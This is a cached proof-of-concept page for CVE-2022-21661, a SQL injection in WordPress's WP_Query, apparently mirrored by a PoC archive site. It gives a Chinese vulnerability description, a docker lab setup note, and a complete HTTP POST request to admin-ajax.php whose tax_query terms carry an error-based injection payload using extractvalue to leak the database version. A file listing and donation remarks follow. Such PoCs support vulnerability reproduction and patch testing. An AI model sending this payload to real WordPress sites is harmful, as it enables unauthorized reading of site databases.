Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-21661 PoC — WordPress plugin SQL注入漏洞

Source
Associated Vulnerability
Title:WordPress plugin SQL注入漏洞 (CVE-2022-21661)
Description:WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是WordPress开源的一个应用插件。 WordPress plugin 存在SQL注入漏洞,该漏洞源于WP_查询中的不正确清理。攻击者可利用该漏洞执行SQL注入攻击。
Description
CVE-2022-21661 docker and poc
Readme
# CVE-2022-21661
CVE-2022-21661 docker and poc

functions.php需要替换原本镜像里的functions.php,docker-compose.yml里直接挂载进去


poc
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://your-ip:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://your-ip:8080
Connection: keep-alive
Cookie: metabase.DEVICE=73adc563-574f-453b-a9ff-1781ff8c9ad0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

action=test&data={"tax_query":[{"field":"term_taxonomy_id","terms":["1) and extractvalue(rand(),concat(0x3a,version()))-- a"]}]}
```
![image](https://github.com/user-attachments/assets/5d5f1195-cee6-45b7-860d-c18cd352ace0)

File Snapshot

[4.0K] /data/pocs/6e5f38f478d791906ac90578497dbcf570fbe659 ├── [ 893] docker-compose.yml ├── [247K] functions.php ├── [1.1K] LICENSE └── [ 996] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.